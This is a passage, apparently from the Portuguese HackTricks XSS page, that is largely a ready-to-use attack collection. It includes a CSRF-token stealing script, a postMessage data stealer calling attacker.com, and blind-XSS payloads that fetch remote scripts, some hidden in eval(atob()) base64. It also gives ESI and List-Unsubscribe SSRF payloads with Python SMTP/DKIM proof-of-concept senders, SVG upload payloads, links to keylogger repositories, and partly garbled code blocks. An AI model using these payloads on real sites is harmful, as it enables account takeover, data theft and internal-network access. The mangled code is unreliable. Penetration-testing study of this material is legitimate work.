eval(...), os bindingsconst/letnão se tornarão globais. Use a técnica de injeção dinâmica<script>da seção “Deliverable payloads with eval(atob()) and scope nuances” para garantir uma vinculação global verdadeira e não reatribuível. - Quando filtros por palavras-chave bloqueiam código, combine com identificadores escapados em Unicode ou entrega via
eval(atob('...')), como mostrado acima.
Keylogger
Ao pesquisar no GitHub, encontrei alguns diferentes:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Você também pode usar o metasploit
http_javascript_keylogger
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Roubando mensagens PostMessage
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Carregadores de script com origem PostMessage (opener-gated)
Se uma página armazena event.origin de um postMessage e mais tarde o concatena em uma URL de script, o remetente controla a origem do JS carregado:
window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});
Exploitation recipe (from CAPIG):
- Gates: dispara apenas quando
window.openerexiste epixel_idestá na allowlist; a origem nunca é verificada. - Use CSP-allowed origin: pivote para um domínio já permitido pela CSP da vítima (ex.: páginas de ajuda para usuários deslogados que permitem analytics como
*.THIRD-PARTY.com) e hospede/sdk/<pixel_id>/iwl.jslá via takeover/XSS/upload. - Restore
opener: no Android WebView,window.name='x'; window.open(target,'x')faz a página tornar-se seu próprio opener; envie opostMessagemalicioso a partir de um iframe sequestrado. - Trigger: o iframe posta
{msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}; o pai então carrega oiwl.jsdo atacante a partir da origem permitida pelo CSP e o executa.
Isso transforma a validação de postMessage sem origem em uma primitiva de carregador de script remoto que sobrevive ao CSP se você conseguir pousar em qualquer origem já permitida pela política.
Stored XSS na supply-chain via concatenação de JS no backend
Quando um backend constrói um SDK compartilhado concatenando strings JS com valores controlados pelo usuário, qualquer quebra de aspas/estrutura pode injetar script que é servido a todo consumidor:
- Padrão de exemplo (Meta CAPIG): o servidor anexa
cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>});diretamente emcapig-events.js. - Injetar
'ou"]}fecha o literal/objeto e adiciona JS do atacante, criando stored XSS no SDK distribuído para todo site que o carregar (first-party e third-party).
Stored XSS em relatórios gerados quando escaping está desabilitado
Se arquivos enviados são parseados e seus metadados são impressos em relatórios HTML com escaping desabilitado (|safe, renderizadores customizados), esses metadados são um stored XSS sink. Exemplo de fluxo:
xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))
'title': a_template['title'] % t_name # %s fed by xmlhost
Um template Django renderiza {{item|key:"title"|safe}}, então attacker HTML é executado.
Exploit: coloque HTML codificado por entidades em qualquer campo manifest/config que chegue ao relatório:
<data android:scheme="android_secret_code"
android:host="<img src=x onerror=alert(document.domain)>"/>
Rendered with |safe, o relatório exibe <img ...> e executa JS quando visualizado.
Hunting: procure por report/notification builders que reutilizem campos parseados em %s/f-strings e desativem o auto-escape. Uma tag codificada em um uploaded manifest/log/archive persiste XSS para todos os visualizadores.
Abusando de Service Workers
Acessando Shadow DOM
Polyglots
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
Blind XSS payloads
Você também pode usar: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Acesso a Conteúdo Oculto
A partir de this writeup é possível aprender que, mesmo que alguns valores desapareçam do JS, ainda é possível encontrá-los em atributos JS em diferentes objetos. Por exemplo, uma entrada de um REGEX ainda pode ser encontrada depois que o valor da entrada do regex foi removido:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
XSS Abusando de outras vulnerabilidades
XSS em Markdown
É possível injetar código Markdown que será renderizado? Talvez você consiga XSS! Confira:
XSS para SSRF
Encontrou XSS em um site que usa caching? Tente escalá-lo para SSRF através de Edge Side Include Injection com este payload:
<esi:include src="http://yoursite.com/capture" />
Use-o para contornar restrições de cookie, filtros de XSS e muito mais!
Mais informações sobre esta técnica aqui: XSLT.
XSS em PDF criados dinamicamente
Se uma página web está criando um PDF usando input controlado pelo usuário, você pode tentar enganar o bot que está criando o PDF para executar código JS arbitrário.
Assim, se o bot criador de PDF encontrar algum tipo de tags HTML, ele vai interpretá-las, e você pode abusar desse comportamento para provocar um Server XSS.
Se você não conseguir injetar tags HTML, pode valer a tentativa de injetar dados PDF:
XSS em Amp4Email
AMP, destinado a acelerar o desempenho de páginas web em dispositivos móveis, incorpora tags HTML suplementadas por JavaScript para garantir funcionalidade com ênfase em velocidade e segurança. Ele suporta uma variedade de componentes para vários recursos, acessíveis via AMP components.
O formato AMP for Email estende componentes AMP específicos para emails, permitindo aos destinatários interagir com o conteúdo diretamente dentro de seus emails.
Example writeup XSS in Amp4Email in Gmail.
Abuso do cabeçalho List-Unsubscribe (Webmail XSS & SSRF)
O RFC 2369 List-Unsubscribe header incorpora URIs controladas pelo atacante que muitos clientes webmail e mail convertem automaticamente em botões “Unsubscribe”. Quando essas URIs são renderizadas ou buscadas sem validação, o header se torna um ponto de injeção tanto para stored XSS (se o link de unsubscribe for inserido no DOM) quanto para SSRF (se o servidor executar a requisição de unsubscribe em nome do usuário).
Stored XSS via javascript: URIs
- Envie um e-mail para você mesmo onde o cabeçalho aponta para uma URI
javascript:enquanto mantém o resto da mensagem benigno para que filtros de spam não a descartem. - Garanta que a UI renderize o valor (muitos clientes mostram isso em um painel “List Info”) e verifique se a tag
<a>resultante herda atributos controlados pelo atacante comohrefoutarget. - Dispare a execução (por exemplo, CTRL+click, clique do meio, ou “open in new tab”) quando o link usar
target="_blank"; os browsers irão avaliar o JavaScript fornecido na origem da aplicação webmail. - Observe a primitiva stored-XSS: o payload persiste com o email e requer apenas um clique para executar.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
O byte de nova linha (%0a) na URI mostra que mesmo caracteres incomuns sobrevivem ao pipeline de renderização em clientes vulneráveis como Horde IMP H5, que irão exibir a string literalmente dentro da tag de âncora.
PoC SMTP mínimo que entrega um cabeçalho List-Unsubscribe malicioso
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessagesmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”
msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
#### Proxies de unsubscribe no lado do servidor -> SSRF
Alguns clientes, como o Nextcloud Mail app, fazem proxy da ação de unsubscribe no lado do servidor: clicar no botão instrui o servidor a buscar a URL fornecida. Isso transforma o cabeçalho em um primitivo SSRF, especialmente quando administradores definem `'allow_local_remote_servers' => true` (documentado em [HackerOne report 2902856](https://hackerone.com/reports/2902856)), o que permite requisições para loopback e RFC1918 ranges.
1. **Crie um e-mail** onde `List-Unsubscribe` aponta para um endpoint controlado pelo atacante (para SSRF cega use Burp Collaborator / OAST).
2. **Keep `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** para que a UI mostre um botão de unsubscribe de um clique.
3. **Atenda aos requisitos de confiança**: Nextcloud, por exemplo, só realiza requisições HTTPS de unsubscribe quando a mensagem passa DKIM, então o atacante deve assinar o e-mail usando um domínio que controla.
4. **Entregue a mensagem a uma mailbox processada pelo servidor alvo** e aguarde até que um usuário clique no botão de unsubscribe.
5. **Observe o server-side callback** at the collaborator endpoint, then pivot to internal addresses once the primitive is confirmed.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Mensagem List-Unsubscribe assinada por DKIM para teste de SSRF
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkimsmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”
msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
**Notas de teste**
- Use um endpoint OAST para coletar hits SSRF cegos, então adapte a URL `List-Unsubscribe` para apontar para `http://127.0.0.1:PORT`, serviços de metadata, ou outros hosts internos assim que a primitiva for confirmada.
- Porque o unsubscribe helper frequentemente reutiliza a mesma stack HTTP que a aplicação, você herda suas configurações de proxy, verbos HTTP e reescritas de cabeçalhos, permitindo truques de traversal adicionais descritos na [SSRF methodology](../ssrf-server-side-request-forgery/README.md).
### XSS upload de arquivos (svg)
Faça upload como imagem de um arquivo como o seguinte (de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Encontre mais SVG payloads em https://github.com/allanlw/svg-cheatsheet
Truques JS diversos e informações relevantes
Misc JS Tricks & Relevant Info
Recursos XSS
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Referências
- Turning a harmless XSS behind a WAF into a realistic phishing vector
- XSS and SSRF via the List-Unsubscribe SMTP Header in Horde Webmail and Nextcloud Mail
- HackerOne Report #2902856 - Nextcloud Mail List-Unsubscribe SSRF
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough
- MDN eval()
- CAPIG XSS: postMessage origin trust becomes a script loader + backend JS concatenation enables supply-chain stored XSS
- MobSF stored XSS via manifest analysis (unsafe Django safe sink)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


